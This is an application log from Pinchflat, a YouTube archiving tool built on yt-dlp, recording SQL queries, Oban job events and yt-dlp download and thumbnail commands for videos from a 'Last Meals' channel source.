OK source="media_items" db=0.2ms queue=0.1ms idle=1.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [50] 21:47:12.099 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [50] 21:47:12.099 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:47:12.099 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:12.100 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:12.100 [debug] Running yt-dlp command for action: get_downloadable_status 21:47:12.100 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:12.100 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:12.100 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:12.101 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhiJP_dO0cs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/10/e4/10e46393326a5720d7e317f9f3937296883be234edb7cbabf4cdb085ecde02ec.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:47:14.364 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhiJP_dO0cs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/10/e4/10e46393326a5720d7e317f9f3937296883be234edb7cbabf4cdb085ecde02ec.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:47:14.364 [debug] Running yt-dlp command for action: download 21:47:14.365 [debug] QUERY OK source="settings" db=0.1ms idle=305.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:14.365 [debug] QUERY OK source="settings" db=0.0ms idle=305.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:14.365 [debug] QUERY OK source="settings" db=0.0ms idle=305.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:47:14.365 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhiJP_dO0cs --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/32/c1/32c1ca19c7185c0e6b83123a8e63543dd62d7f72b3f8192427b1df2544c63add.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:47:28.766 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:58.768 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.624 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:28.770 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:58.772 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:59.881 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MZRf9gGXJ2s --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d6/30/d630e246d5375b3898b14578a9409dec91e8b686652e9a854dd9702b7675563d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:48:59.892 [debug] Running yt-dlp command for action: download_thumbnail 21:48:59.892 [debug] QUERY OK source="settings" db=0.0ms idle=1832.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:48:59.892 [debug] QUERY OK source="settings" db=0.0ms idle=1833.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:48:59.892 [debug] QUERY OK source="settings" db=0.0ms idle=1447.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:48:59.892 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MZRf9gGXJ2s --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/49/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/4d/b8/4db8baed2a22eb84f83c7f0385ac35b094e82491203c93d538a01a50656bc5c9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:49:00.625 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:03.129 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MZRf9gGXJ2s --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/49/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/4d/b8/4db8baed2a22eb84f83c7f0385ac35b094e82491203c93d538a01a50656bc5c9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:49:03.129 [debug] QUERY OK db=0.0ms idle=1070.3ms begin [] 21:49:03.130 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:48:59Z], "/downloads/Last Meals/2024-05-23 Shay Mitchell Eats Her Last Meal/Shay Mitchell Eats Her Last Meal [MZRf9gGXJ2s].mp4", ~U[2026-03-28 01:49:03Z], 49] 21:49:03.130 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/49/metadata.json.gz", "/config/metadata/media_items/49/thumbnail.jpg", 49, ~U[2026-03-28 01:49:03Z], ~U[2026-03-28 01:49:03Z]] 21:49:03.131 [debug] QUERY OK db=0.0ms commit [] 21:49:03.132 [debug] QUERY OK source="media_items" db=1.0ms idle=1072.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [354276825, ~U[2026-03-28 01:49:03Z], 49] 21:49:03.132 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:49:03.133 [info] {"args":{"id":49},"id":52,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":128402329,"event":"job:stop","queue_time":3525730388,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:49:03.133 [debug] QUERY OK source="tasks" db=0.2ms idle=73.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:49:03.133 [debug] QUERY OK source="tasks" db=0.3ms idle=73.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:49:03.134 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [50] 21:49:03.134 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [50] 21:49:03.138 [info] {"args":{"id":51},"id":54,"meta":{},"system_time":1774662543138768478,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:49:03.139 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 21:49:03.139 [debug] QUERY OK source="tasks" db=0.5ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:49:03.139 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:49:03.139 [debug] QUERY OK source="tasks" db=0.6ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:49:03.139 [debug] QUERY OK source="sources" db=0.1ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:49:03.139 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [50, 51] 21:49:03.140 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:49:03.140 [debug] QUERY OK source="media_items" db=0.4ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [50, 51] 21:49:03.140 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 21:49:03.140 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 21:49:03.141 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:49:03.141 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:03.141 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:03.141 [debug] Running yt-dlp command for action: get_downloadable_status 21:49:03.141 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:03.141 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:03.141 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:03.141 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KR_e1IY3S4k --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c2/20/c220cbf193c14efb485600d75c40ed7f816ae2e68a9906e7151b6dc22794f032.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:49:05.386 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KR_e1IY3S4k --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c2/20/c220cbf193c14efb485600d75c40ed7f816ae2e68a9906e7151b6dc22794f032.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:49:05.386 [debug] Running yt-dlp command for action: download 21:49:05.386 [debug] QUERY OK source="settings" db=0.1ms idle=932.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:05.386 [debug] QUERY OK source="settings" db=0.0ms idle=327.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:05.386 [debug] QUERY OK source="settings" db=0.0ms idle=327.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:05.387 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KR_e1IY3S4k --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/46/18/461847d7b7337e378486e91bca96db1bb9a1d9a0b312db93c76409d8d625cc84.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:49:28.773 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:36.062 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhiJP_dO0cs --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/32/c1/32c1ca19c7185c0e6b83123a8e63543dd62d7f72b3f8192427b1df2544c63add.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:49:36.075 [debug] Running yt-dlp command for action: download_thumbnail 21:49:36.076 [debug] QUERY OK source="settings" db=0.1ms idle=1016.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:36.076 [debug] QUERY OK source="settings" db=0.0ms idle=1016.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:36.076 [debug] QUERY OK source="settings" db=0.0ms idle=1016.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:49:36.076 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhiJP_dO0cs --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/50/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/52/82/5282ca01ac5bf4f8cca83936b1d499f4a8b6fa2bbb17d36d38f36f1487ec1c84.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:49:39.022 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LhiJP_dO0cs --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output 